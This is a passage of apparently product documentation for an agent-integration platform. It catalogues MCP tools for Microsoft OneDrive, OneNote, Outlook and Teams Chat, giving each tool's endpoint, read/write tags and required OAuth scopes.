Contacts.ReadWrite.Shared. PATCH /api/v1/tools/microsoft/contacts/shared/{owner_user_id}/{contact_id}. Scopes: Contacts.ReadWrite.Shared. ================================================================================ ## Microsoft OneDrive URL: https://www.agenticfabriq.com/docs/tools-ms-onedrive Section: Integrated Tools Microsoft OneDrive — 29 MCP tools Provider key: microsoft_onedrive. Scopes: Files.Read, Files.Read.All, Files.Read.Selected, Files.ReadWrite, Files.ReadWrite.All, Files.ReadWrite.Selected, Sites.Read.All, Sites.ReadWrite.All. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_onedrive_copy_file (write) — Copy a file or folder to another location in OneDrive. POST /api/v1/tools/microsoft/onedrive/files/{file_id}/copy. Scopes: Files.ReadWrite. microsoft_onedrive_create_folder (write, destructive) — Create a new folder in OneDrive. POST /api/v1/tools/microsoft/onedrive/folders. Scopes: Files.ReadWrite. microsoft_onedrive_create_share_link (write) — Create a shareable link for a OneDrive file or folder. POST /api/v1/tools/microsoft/onedrive/files/{file_id}/share. Scopes: Files.ReadWrite. microsoft_onedrive_delete_any_user_file (write, destructive) — Delete a file from any user's OneDrive in the organization. Requires Files.ReadWrite.All (admin-consented scope for cross-user file deletion). DELETE /api/v1/tools/microsoft/onedrive/users/{user_id}/files/{file_id}. Scopes: Files.ReadWrite.All. microsoft_onedrive_delete_file (write, destructive) — Delete a file or folder from OneDrive. DELETE /api/v1/tools/microsoft/onedrive/files/{file_id}. Scopes: Files.ReadWrite. microsoft_onedrive_download_file (read) — Download the binary content of a file from OneDrive. GET /api/v1/tools/microsoft/onedrive/files/{file_id}/download. Scopes: Files.Read. microsoft_onedrive_get_file (read) — Get metadata for a specific file or folder in OneDrive. GET /api/v1/tools/microsoft/onedrive/files/{file_id}. Scopes: Files.Read. microsoft_onedrive_get_file_versions (read) — List version history of a file in OneDrive (OneDrive Business only). GET /api/v1/tools/microsoft/onedrive/files/{file_id}/versions. Scopes: Files.Read. microsoft_onedrive_grant_file_permission (write, destructive) — Grant a specific user read or write access to a OneDrive file. POST /api/v1/tools/microsoft/onedrive/files/{file_id}/permissions. Scopes: Files.ReadWrite. microsoft_onedrive_list_file_permissions (read) — List all permissions (share links and direct grants) on a OneDrive item. GET /api/v1/tools/microsoft/onedrive/files/{file_id}/permissions. Scopes: Files.Read. microsoft_onedrive_list_files (read) — List files in OneDrive root or a specific folder. GET /api/v1/tools/microsoft/onedrive/files. Scopes: Files.Read. microsoft_onedrive_list_recent_files (read) — List recently accessed files from the user's OneDrive. GET /api/v1/tools/microsoft/onedrive/recent. Scopes: Files.Read. microsoft_onedrive_list_shared_with_me (read) — List files shared with the user from other OneDrive accounts. GET /api/v1/tools/microsoft/onedrive/shared. Scopes: Files.Read. microsoft_onedrive_list_sharepoint_site_drives (read) — List document libraries (drives) within a SharePoint site. Requires Sites.Read.All (admin-consented scope for SharePoint drive enumeration). GET /api/v1/tools/microsoft/onedrive/sharepoint/sites/{site_id}/drives. Scopes: Sites.Read.All. microsoft_onedrive_list_sharepoint_sites (read) — List SharePoint sites in the organization. Requires Sites.Read.All (admin-consented scope for SharePoint site enumeration). GET /api/v1/tools/microsoft/onedrive/sharepoint/sites. Scopes: Sites.Read.All. microsoft_onedrive_move_file (write) — Move a file or folder to a different location in OneDrive. PATCH /api/v1/tools/microsoft/onedrive/files/{file_id}/move. Scopes: Files.ReadWrite. microsoft_onedrive_read_any_user_file (read) — Read a file from any user's OneDrive in the organization. Requires Files.Read.All (admin-consented scope for cross-user file access). GET /api/v1/tools/microsoft/onedrive/users/{user_id}/files/{file_id}. Scopes: Files.Read.All. microsoft_onedrive_read_selected_file (read) — Read a specific file the user explicitly selected/consented to share. Requires Files.Read.Selected (narrow scope — only accesses files the user explicitly granted). GET /api/v1/tools/microsoft/onedrive/selected/files/{file_id}. Scopes: Files.Read.Selected. microsoft_onedrive_read_sharepoint_file (read) — Read a file from a SharePoint document library. Requires Sites.Read.All (admin-consented scope for SharePoint file access). GET /api/v1/tools/microsoft/onedrive/sharepoint/sites/{site_id}/drives/{drive_id}/files/{file_id}. Scopes: Sites.Read.All. microsoft_onedrive_rename_file (write) — Rename a file or folder in OneDrive. PATCH /api/v1/tools/microsoft/onedrive/files/{file_id}/rename. Scopes: Files.ReadWrite. microsoft_onedrive_restore_file_version (write) — Restore a file to a previous version in OneDrive. POST /api/v1/tools/microsoft/onedrive/files/{file_id}/versions/{version_id}/restore. Scopes: Files.ReadWrite. microsoft_onedrive_revoke_file_permission (write) — Revoke a specific permission from a OneDrive file. DELETE /api/v1/tools/microsoft/onedrive/files/{file_id}/permissions/{permission_id}. Scopes: Files.ReadWrite. microsoft_onedrive_search_all_org_files (read) — Search files across all users' OneDrive storage in the organization. Requires Files.Read.All (admin-consented scope for org-wide file search). GET /api/v1/tools/microsoft/onedrive/org/search. Scopes: Files.Read.All. microsoft_onedrive_search_files (read) — Search for files in OneDrive by name or content. GET /api/v1/tools/microsoft/onedrive/search. Scopes: Files.Read. microsoft_onedrive_upload_file (write, destructive) — Upload a file to OneDrive (simple upload, max ~4 MB). Provide file content as base64-encoded string. PUT /api/v1/tools/microsoft/onedrive/files. Scopes: Files.ReadWrite. microsoft_onedrive_upload_large_file (write, destructive) — Upload a large file (>4 MB) to OneDrive using an upload session. POST /api/v1/tools/microsoft/onedrive/upload-session. Scopes: Files.ReadWrite. microsoft_onedrive_write_any_user_file (write, destructive) — Write or update a file in any user's OneDrive in the organization. Requires Files.ReadWrite.All (admin-consented scope for cross-user file write). PUT /api/v1/tools/microsoft/onedrive/users/{user_id}/files. Scopes: Files.ReadWrite.All. microsoft_onedrive_write_selected_file (write, destructive) — Write to a specific file the user explicitly selected/consented to share. Requires Files.ReadWrite.Selected (narrow scope — only modifies files the user explicitly granted). PUT /api/v1/tools/microsoft/onedrive/selected/files/{file_id}. Scopes: Files.ReadWrite.Selected. microsoft_onedrive_write_sharepoint_file (write, destructive) — Upload or update a file in a SharePoint document library. Requires Sites.ReadWrite.All (admin-consented scope for SharePoint file write). PUT /api/v1/tools/microsoft/onedrive/sharepoint/sites/{site_id}/drives/{drive_id}/files. Scopes: Sites.ReadWrite.All. ================================================================================ ## Microsoft OneNote URL: https://www.agenticfabriq.com/docs/tools-ms-onenote Section: Integrated Tools Microsoft OneNote — 18 MCP tools Provider key: microsoft_onenote. Scopes: Notes.Create, Notes.Read, Notes.Read.All, Notes.ReadWrite, Notes.ReadWrite.All. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_onenote_copy_page (write, destructive) — Copy a OneNote page to a different section. POST /api/v1/tools/microsoft/onenote/pages/{page_id}/copy. Scopes: Notes.ReadWrite. microsoft_onenote_create_notebook (write, destructive) — Create a new OneNote notebook. POST /api/v1/tools/microsoft/onenote/notebooks. Scopes: Notes.ReadWrite. microsoft_onenote_create_page (write, destructive) — Create a new page in a OneNote section. POST /api/v1/tools/microsoft/onenote/sections/{section_id}/pages. Scopes: Notes.ReadWrite. microsoft_onenote_create_quick_note (write, destructive) — Create a quick note in the user's default OneNote notebook. Requires Notes.Create (minimal write scope — only allows creating new pages, cannot read or modify existing content). POST /api/v1/tools/microsoft/onenote/quick-notes. Scopes: Notes.Create. microsoft_onenote_create_section (write, destructive) — Create a new section in a OneNote notebook. POST /api/v1/tools/microsoft/onenote/notebooks/{notebook_id}/sections. Scopes: Notes.ReadWrite. microsoft_onenote_create_section_group (write, destructive) — Create a section group (a folder that organizes sections) in a OneNote notebook. POST /api/v1/tools/microsoft/onenote/notebooks/{notebook_id}/section-groups. Scopes: Notes.ReadWrite. microsoft_onenote_delete_page (write, destructive) — Delete a OneNote page permanently. DELETE /api/v1/tools/microsoft/onenote/pages/{page_id}. Scopes: Notes.ReadWrite. microsoft_onenote_delete_section (write, destructive) — Delete a OneNote section and all pages within it. DELETE /api/v1/tools/microsoft/onenote/sections/{section_id}. Scopes: Notes.ReadWrite. microsoft_onenote_get_page_content (read) — Get the HTML content of a OneNote page. GET /api/v1/tools/microsoft/onenote/pages/{page_id}/content. Scopes: Notes.Read. microsoft_onenote_list_all_org_notebooks (read) — List OneNote notebooks across the entire organization. Requires Notes.Read.All (admin-consented scope for org-wide notebook access). GET /api/v1/tools/microsoft/onenote/org/notebooks. Scopes: Notes.Read.All. microsoft_onenote_list_notebooks (read) — List the user's OneNote notebooks. GET /api/v1/tools/microsoft/onenote/notebooks. Scopes: Notes.Read. microsoft_onenote_list_pages (read) — List OneNote pages (all or within a specific section). GET /api/v1/tools/microsoft/onenote/pages. Scopes: Notes.Read. microsoft_onenote_list_section_groups (read) — List OneNote section groups (all or within a specific notebook). GET /api/v1/tools/microsoft/onenote/section-groups. Scopes: Notes.Read. microsoft_onenote_list_sections (read) — List OneNote sections (all or within a specific notebook). GET /api/v1/tools/microsoft/onenote/sections. Scopes: Notes.Read. microsoft_onenote_read_org_notebook_page (read) — Read the HTML content of any OneNote page in the organization. Requires Notes.Read.All (admin-consented scope for cross-user page access). GET /api/v1/tools/microsoft/onenote/org/pages/{page_id}/content. Scopes: Notes.Read.All. microsoft_onenote_search_pages (read) — Search for OneNote pages by keyword across all the user's notebooks. GET /api/v1/tools/microsoft/onenote/pages/search. Scopes: Notes.Read. microsoft_onenote_update_page_content (write, destructive) — Update OneNote page content using JSON Patch commands (append, replace, or delete content regions). PATCH /api/v1/tools/microsoft/onenote/pages/{page_id}/content. Scopes: Notes.ReadWrite. microsoft_onenote_write_org_notebook_page (write, destructive) — Create a page in any organization user's OneNote section. Requires Notes.ReadWrite.All (admin-consented scope for cross-user notebook write). POST /api/v1/tools/microsoft/onenote/org/sections/{section_id}/pages. Scopes: Notes.ReadWrite.All. ================================================================================ ## Microsoft OneNote URL: https://www.agenticfabriq.com/integrations/onenote Section: Integrated Tools Microsoft OneNote — 30 MCP tools Provider key: onenote. Scopes: Notes.Read, Notes.ReadWrite. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. onenote_copy_notebook (write) — Copy a whole notebook (asynchronous: answers 202 with an operation_id -- poll it with the get-operation tool). The body may name renameAs, and groupId/siteCollectionId/siteId to copy into a group or site via POST /v1.0/me/onenote/notebooks/{notebook_id}/microsoft.graph.copyNotebook POST /api/v1/onenote/notebooks/{notebook_id}/copy. Scopes: Notes.ReadWrite. onenote_copy_page_to_section (write) — Copy a page into a section (asynchronous: answers 202 with an operation_id). The body's id is the destination section via POST /v1.0/me/onenote/pages/{page_id}/microsoft.graph.copyToSection POST /api/v1/onenote/pages/{page_id}/copy-to-section. Scopes: Notes.ReadWrite. onenote_copy_section_to_notebook (write) — Copy a section into a notebook (asynchronous: answers 202 with an operation_id). The body's id is the destination notebook; renameAs optionally renames the copy via POST /v1.0/me/onenote/sections/{section_id}/microsoft.graph.copyToNotebook POST /api/v1/onenote/sections/{section_id}/copy-to-notebook. Scopes: Notes.ReadWrite. onenote_copy_section_to_section_group (write) — Copy a section into a section group (asynchronous: answers 202 with an operation_id). The body's id is the destination section group; renameAs optionally renames the copy via POST /v1.0/me/onenote/sections/{section_id}/microsoft.graph.copyToSectionGroup POST /api/v1/onenote/sections/{section_id}/copy-to-section-group. Scopes: Notes.ReadWrite. onenote_create_notebook (write) — Create a new OneNote notebook; the body's displayName is the notebook title (must be unique, max 128 characters) via POST /v1.0/me/onenote/notebooks POST /api/v1/onenote/notebooks. Scopes: Notes.ReadWrite. onenote_create_page (write) — Create a page in the default section from an XHTML document (content is the full document; the element becomes the page title). Use create-page-in-section to target a section. Text and standard HTML only -- binary parts need multipart, which this surface does not carry via POST /v1.0/me/onenote/pages POST /api/v1/onenote/pages. Scopes: Notes.ReadWrite. onenote_create_page_in_section (write) — Create a page in a specific section from an XHTML document (content is the full document; the <title> element becomes the page title). Text and standard HTML only -- binary parts need multipart, which this surface does not carry via POST /v1.0/me/onenote/sections/{section_id}/pages POST /api/v1/onenote/sections/{section_id}/pages. Scopes: Notes.ReadWrite. onenote_create_section (write) — Create a section in a notebook; the body's displayName is the section name (must not contain ?*\/:<>|&#''%%~) via POST /v1.0/me/onenote/notebooks/{notebook_id}/sections POST /api/v1/onenote/notebooks/{notebook_id}/sections. Scopes: Notes.ReadWrite. onenote_create_section_group (write) — Create a section group in a notebook; the body's displayName is the group name via POST /v1.0/me/onenote/notebooks/{notebook_id}/sectionGroups POST /api/v1/onenote/notebooks/{notebook_id}/section-groups. Scopes: Notes.ReadWrite. onenote_create_section_in_section_group (write) — Create a section inside a section group; the body's displayName is the section name via POST /v1.0/me/onenote/sectionGroups/{section_group_id}/sections POST /api/v1/onenote/section-groups/{section_group_id}/sections. Scopes: Notes.ReadWrite. onenote_delete_page (write, destructive) — Permanently delete a page by id via DELETE /v1.0/me/onenote/pages/{page_id} DELETE /api/v1/onenote/pages/{page_id}. Scopes: Notes.ReadWrite. onenote_get_notebook (read) — Read one notebook's metadata by id via GET /v1.0/me/onenote/notebooks/{notebook_id} GET /api/v1/onenote/notebooks/{notebook_id}. Scopes: Notes.Read. onenote_get_notebook_from_web_url (write) — Resolve a notebook from its OneNote web link (the body's webUrl); answers the notebook's metadata so its id can be used with the other tools via POST /v1.0/me/onenote/notebooks/microsoft.graph.getNotebookFromWebUrl POST /api/v1/onenote/notebooks/from-web-url. Scopes: Notes.ReadWrite. onenote_get_operation (read) — Poll an asynchronous OneNote operation (a notebook, section or page copy) by the operation_id its 202 answer carried; status moves NotStarted -> Running -> Completed/Failed, and resourceId names the created copy via GET /v1.0/me/onenote/operations/{operation_id} GET /api/v1/onenote/operations/{operation_id}. Scopes: Notes.Read. onenote_get_page (read) — Read one page's metadata by id -- title, timestamps, links and contentUrl ($expand can pull parentSection or parentNotebook) via GET /v1.0/me/onenote/pages/{page_id} GET /api/v1/onenote/pages/{page_id}. Scopes: Notes.Read. onenote_get_page_content (read) — Read a page's content as HTML (returned under the `raw` key). Pass includeIDs=true to get the data-id anchors the patch-content commands address via GET /v1.0/me/onenote/pages/{page_id}/content GET /api/v1/onenote/pages/{page_id}/content. Scopes: Notes.Read. onenote_get_page_preview (read) — Read a page's text preview (previewText and an optional preview image link) without fetching the full content via GET /v1.0/me/onenote/pages/{page_id}/microsoft.graph.preview() GET /api/v1/onenote/pages/{page_id}/preview. Scopes: Notes.Read. onenote_get_recent_notebooks (read) — List the notebooks the signed-in user has most recently touched; includePersonalNotebooks says whether to include notebooks from the user's personal OneDrive alongside organizational ones. Signed-in user only: Microsoft documents this function on the user's own tree, so it takes no group_id/site_id via GET /v1.0/me/onenote/notebooks/microsoft.graph.getRecentNotebooks(includePersonalNotebooks={includePersonalNotebooks}) GET /api/v1/onenote/notebooks/recent. Scopes: Notes.Read. onenote_get_section (read) — Read one section's metadata by id ($expand can pull its parentNotebook or parentSectionGroup in the same call) via GET /v1.0/me/onenote/sections/{section_id} GET /api/v1/onenote/sections/{section_id}. Scopes: Notes.Read. onenote_get_section_group (read) — Read one section group's metadata by id ($expand can pull its parentNotebook, sections or child sectionGroups in the same call) via GET /v1.0/me/onenote/sectionGroups/{section_group_id} GET /api/v1/onenote/section-groups/{section_group_id}. Scopes: Notes.Read. onenote_list_child_section_groups (read) — List the section groups nested inside one section group via GET /v1.0/me/onenote/sectionGroups/{section_group_id}/sectionGroups GET /api/v1/onenote/section-groups/{section_group_id}/section-groups. Scopes: Notes.Read. onenote_list_notebook_section_groups (read) — List the section groups directly inside one notebook via GET /v1.0/me/onenote/notebooks/{notebook_id}/sectionGroups GET /api/v1/onenote/notebooks/{notebook_id}/section-groups. Scopes: Notes.Read. onenote_list_notebook_sections (read) — List the sections directly inside one notebook via GET /v1.0/me/onenote/notebooks/{notebook_id}/sections GET /api/v1/onenote/notebooks/{notebook_id}/sections. Scopes: Notes.Read. onenote_list_notebooks (read) — List the OneNote notebooks in the signed-in user's account (or in a Microsoft 365 group or SharePoint site via group_id/site_id), with OData paging and filtering via GET /v1.0/me/onenote/notebooks GET /api/v1/onenote/notebooks. Scopes: Notes.Read. onenote_list_pages (read) — List pages across the whole account ($search matches page content; $filter and $orderby work on title and dates) via GET /v1.0/me/onenote/pages GET /api/v1/onenote/pages. Scopes: Notes.Read. onenote_list_section_group_sections (read) — List the sections inside one section group via GET /v1.0/me/onenote/sectionGroups/{section_group_id}/sections GET /api/v1/onenote/section-groups/{section_group_id}/sections. Scopes: Notes.Read. onenote_list_section_groups (read) — List every section group in the account, across notebooks via GET /v1.0/me/onenote/sectionGroups GET /api/v1/onenote/section-groups. Scopes: Notes.Read. onenote_list_section_pages (read) — List the pages inside one section via GET /v1.0/me/onenote/sections/{section_id}/pages GET /api/v1/onenote/sections/{section_id}/pages. Scopes: Notes.Read. onenote_list_sections (read) — List every section in the account, across notebooks via GET /v1.0/me/onenote/sections GET /api/v1/onenote/sections. Scopes: Notes.Read. onenote_update_page_content (write) — Edit a page's content with patch commands: the body's commands array holds {target, action, position, content} entries (actions Append/Insert/Prepend/Replace/Delete; targets are body, title, or a data-id/id from the content read) via POST /v1.0/me/onenote/pages/{page_id}/microsoft.graph.onenotePatchContent POST /api/v1/onenote/pages/{page_id}/patch-content. Scopes: Notes.ReadWrite. ================================================================================ ## Microsoft Outlook URL: https://www.agenticfabriq.com/docs/tools-ms-outlook Section: Integrated Tools Microsoft Outlook — 33 MCP tools Provider key: microsoft_outlook. Scopes: Mail.Read, Mail.Read.Shared, Mail.ReadBasic, Mail.ReadWrite, Mail.ReadWrite.Shared, Mail.Send, Mail.Send.Shared, MailboxSettings.Read, MailboxSettings.ReadWrite. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_outlook_add_attachment_to_draft (write) — Attach a file (base64-encoded) to a draft message. Requires Mail.ReadWrite. POST /api/v1/tools/microsoft/outlook/drafts/{message_id}/attachments. Scopes: Mail.ReadWrite. microsoft_outlook_create_draft (draft) — Create a draft email message. Requires Mail.ReadWrite. POST /api/v1/tools/microsoft/outlook/drafts. Scopes: Mail.ReadWrite. microsoft_outlook_create_mail_folder (write, destructive) — Create a new mail folder. Requires Mail.ReadWrite. POST /api/v1/tools/microsoft/outlook/folders. Scopes: Mail.ReadWrite. microsoft_outlook_delete_mail_folder (write, destructive) — Delete a mail folder. Requires Mail.ReadWrite. DELETE /api/v1/tools/microsoft/outlook/folders/{folder_id}. Scopes: Mail.ReadWrite. microsoft_outlook_delete_message (write, destructive) — Delete an email message. DELETE /api/v1/tools/microsoft/outlook/messages/{message_id}. Scopes: Mail.ReadWrite. microsoft_outlook_delete_shared_mailbox_message (write, destructive) — Delete a message from a shared mailbox. Requires Mail.ReadWrite.Shared. DELETE /api/v1/tools/microsoft/outlook/shared/{mailbox}/messages/{message_id}. Scopes: Mail.ReadWrite.Shared. microsoft_outlook_flag_message (write) — Flag a message for follow-up. Requires Mail.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/messages/{message_id}/flag. Scopes: Mail.ReadWrite. microsoft_outlook_forward_message (send, destructive) — Forward an email to new recipients. Requires Mail.Send and Mail.Read. POST /api/v1/tools/microsoft/outlook/messages/{message_id}/forward. Scopes: Mail.Send, Mail.Read. microsoft_outlook_get_attachment (read) — Get a specific attachment from an email message. Requires Mail.Read. GET /api/v1/tools/microsoft/outlook/messages/{message_id}/attachments/{attachment_id}. Scopes: Mail.Read. microsoft_outlook_get_automatic_replies (read) — Get automatic reply (out of office) settings. Requires MailboxSettings.Read. GET /api/v1/tools/microsoft/outlook/mailbox/auto-replies. Scopes: MailboxSettings.Read. microsoft_outlook_get_mailbox_settings (read) — Get mailbox settings (timezone, auto-replies, working hours). Requires MailboxSettings.Read. GET /api/v1/tools/microsoft/outlook/mailbox/settings. Scopes: MailboxSettings.Read. microsoft_outlook_get_mailbox_timezone (read) — Get the user's mailbox timezone. Requires MailboxSettings.Read. GET /api/v1/tools/microsoft/outlook/mailbox/timezone. Scopes: MailboxSettings.Read. microsoft_outlook_get_message (read) — Get a specific email message with full body. GET /api/v1/tools/microsoft/outlook/messages/{message_id}. Scopes: Mail.Read. microsoft_outlook_get_shared_mailbox_message (read) — Get a specific message from a shared mailbox. Requires Mail.Read.Shared. GET /api/v1/tools/microsoft/outlook/shared/{mailbox}/messages/{message_id}. Scopes: Mail.Read.Shared. microsoft_outlook_list_attachments (read) — List attachments on an email message. Requires Mail.Read. GET /api/v1/tools/microsoft/outlook/messages/{message_id}/attachments. Scopes: Mail.Read. microsoft_outlook_list_mail_folders (read) — List the user's mail folders. Requires Mail.Read. GET /api/v1/tools/microsoft/outlook/folders. Scopes: Mail.Read. microsoft_outlook_list_message_metadata (read) — List email message headers/metadata with minimal fields (no body). Requires Mail.ReadBasic. GET /api/v1/tools/microsoft/outlook/messages/metadata. Scopes: Mail.ReadBasic. microsoft_outlook_list_messages (read) — List email messages from the user's mailbox. GET /api/v1/tools/microsoft/outlook/messages. Scopes: Mail.Read. microsoft_outlook_list_shared_mailbox_messages (read) — List messages in a shared mailbox. Requires Mail.Read.Shared. GET /api/v1/tools/microsoft/outlook/shared/{mailbox}/messages. Scopes: Mail.Read.Shared. microsoft_outlook_mark_message_read (write) — Mark a message as read. Requires Mail.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/messages/{message_id}/read. Scopes: Mail.ReadWrite. microsoft_outlook_mark_message_unread (write) — Mark a message as unread. Requires Mail.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/messages/{message_id}/unread. Scopes: Mail.ReadWrite. microsoft_outlook_move_message (write) — Move an email message to another mail folder. POST /api/v1/tools/microsoft/outlook/messages/{message_id}/move. Scopes: Mail.ReadWrite. microsoft_outlook_move_shared_mailbox_message (write) — Move a message in a shared mailbox to another folder. Requires Mail.ReadWrite.Shared. POST /api/v1/tools/microsoft/outlook/shared/{mailbox}/messages/{message_id}/move. Scopes: Mail.ReadWrite.Shared. microsoft_outlook_reply_from_shared_mailbox (send, destructive) — Reply to a message from a shared mailbox. Requires Mail.Send.Shared and Mail.Read.Shared. POST /api/v1/tools/microsoft/outlook/shared/{mailbox}/messages/{message_id}/reply. Scopes: Mail.Send.Shared, Mail.Read.Shared. microsoft_outlook_reply_to_message (send, destructive) — Reply (or reply-all) to an email message. POST /api/v1/tools/microsoft/outlook/messages/{message_id}/reply. Scopes: Mail.ReadWrite. microsoft_outlook_send_draft (send, destructive) — Send a previously created draft. Requires Mail.Send and Mail.ReadWrite. POST /api/v1/tools/microsoft/outlook/drafts/{message_id}/send. Scopes: Mail.Send, Mail.ReadWrite. microsoft_outlook_send_from_shared_mailbox (send, destructive) — Send an email from a shared mailbox. Requires Mail.Send.Shared. POST /api/v1/tools/microsoft/outlook/shared/{mailbox}/send. Scopes: Mail.Send.Shared. microsoft_outlook_send_mail (send, destructive) — Send an email via Microsoft Outlook. POST /api/v1/tools/microsoft/outlook/send. Scopes: Mail.Send. microsoft_outlook_unflag_message (write) — Remove the follow-up flag from a message. Requires Mail.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/messages/{message_id}/unflag. Scopes: Mail.ReadWrite. microsoft_outlook_update_automatic_replies (admin) — Update automatic reply (out of office) settings. Requires MailboxSettings.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/mailbox/auto-replies. Scopes: MailboxSettings.ReadWrite. microsoft_outlook_update_draft (draft) — Update an existing draft email. Requires Mail.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/drafts/{message_id}. Scopes: Mail.ReadWrite. microsoft_outlook_update_mail_folder (write) — Rename a mail folder. Requires Mail.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/folders/{folder_id}. Scopes: Mail.ReadWrite. microsoft_outlook_update_mailbox_settings (admin) — Update mailbox settings. Requires MailboxSettings.ReadWrite. PATCH /api/v1/tools/microsoft/outlook/mailbox/settings. Scopes: MailboxSettings.ReadWrite. ================================================================================ ## Microsoft Teams Chat URL: https://www.agenticfabriq.com/docs/tools-ms-teams Section: Integrated Tools Microsoft Teams Chat — 19 MCP tools Provider key: microsoft_chat. Scopes: Chat.Create, Chat.Read, Chat.ReadBasic, Chat.ReadWrite, ChatMessage.Send, Presence.Read, Presence.Read.All, User.ReadBasic.All. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_chat_add_chat_member (write, destructive) — Add a user to a Teams chat. Requires Chat.ReadWrite. POST /api/v1/tools/microsoft/chat/chats/{chat_id}/members. Scopes: Chat.ReadWrite. microsoft_chat_create_chat (write, destructive) — Create a new Teams group or one-on-one chat. POST /api/v1/tools/microsoft/chat/chats. Scopes: Chat.Create. microsoft_chat_delete_chat_message (write, destructive) — Delete a message from a Teams chat. Requires Chat.ReadWrite. DELETE /api/v1/tools/microsoft/chat/chats/{chat_id}/messages/{message_id}. Scopes: Chat.ReadWrite. microsoft_chat_get_chat (read) — Get a specific Teams chat. GET /api/v1/tools/microsoft/chat/chats/{chat_id}. Scopes: Chat.ReadBasic. microsoft_chat_get_multiple_users_presence (read) — Get presence status for multiple users in a single call. Requires Presence.Read.All. POST /api/v1/tools/microsoft/chat/presence/batch. Scopes: Presence.Read.All. microsoft_chat_get_user_presence (read) — Get the presence status (online, busy, away, etc.) for a user. Requires Presence.Read for self, or Presence.Read.All for other users. GET /api/v1/tools/microsoft/chat/presence. Scopes: Presence.Read. microsoft_chat_list_chat_members (read) — List members of a Teams chat. Requires Chat.ReadBasic. GET /api/v1/tools/microsoft/chat/chats/{chat_id}/members. Scopes: Chat.ReadBasic. microsoft_chat_list_chat_messages (read) — List messages in a Teams chat. GET /api/v1/tools/microsoft/chat/chats/{chat_id}/messages. Scopes: Chat.ReadBasic. microsoft_chat_list_chats (read) — List the user's Microsoft Teams chats (direct messages and group DMs). GET /api/v1/tools/microsoft/chat/chats. Scopes: Chat.ReadBasic. microsoft_chat_list_message_replies (read) — List replies to a message in a Teams chat. Requires Chat.Read. GET /api/v1/tools/microsoft/chat/chats/{chat_id}/messages/{message_id}/replies. Scopes: Chat.Read. microsoft_chat_list_pinned_messages (read) — List pinned messages in a Teams chat. Requires Chat.Read. GET /api/v1/tools/microsoft/chat/chats/{chat_id}/pinned-messages. Scopes: Chat.Read. microsoft_chat_mark_chat_read (write) — Mark all messages in a Teams chat as read for the current user. Requires Chat.ReadWrite. POST /api/v1/tools/microsoft/chat/chats/{chat_id}/mark-read. Scopes: Chat.ReadWrite. microsoft_chat_pin_message (write) — Pin a message in a Teams chat. Requires Chat.ReadWrite. POST /api/v1/tools/microsoft/chat/chats/{chat_id}/pinned-messages. Scopes: Chat.ReadWrite. microsoft_chat_remove_chat_member (write) — Remove a member from a Teams chat. Requires Chat.ReadWrite. DELETE /api/v1/tools/microsoft/chat/chats/{chat_id}/members/{membership_id}. Scopes: Chat.ReadWrite. microsoft_chat_reply_to_chat_message (send, destructive) — Reply to a specific message in a Teams chat. Requires ChatMessage.Send. POST /api/v1/tools/microsoft/chat/chats/{chat_id}/messages/{message_id}/replies. Scopes: ChatMessage.Send. microsoft_chat_resolve_users_for_chat (read) — Search for users by name or email to get their IDs before adding them to a chat. Requires User.ReadBasic.All. GET /api/v1/tools/microsoft/chat/resolve-users. Scopes: User.ReadBasic.All. microsoft_chat_send_chat_message (send, destructive) 